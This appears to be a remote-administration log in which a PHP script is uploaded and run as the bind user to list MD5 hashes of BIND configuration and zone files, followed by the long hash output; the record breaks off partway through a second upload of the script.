MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-23 12:27:02: Establishing a connection
2026-04-23 12:28:17: Establishing a connection
2026-04-23 12:28:17: 

PUT: /tmp/pkp488120

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-23 12:28:17: 

runuser -l bind -s /bin/bash -c '/tmp/pkp488120; rm /tmp/pkp488120'

2026-04-23 12:28:17: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-23 12:28:19: Establishing a connection
2026-04-23 12:28:19: 

PUT: /tmp/pkp580107

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
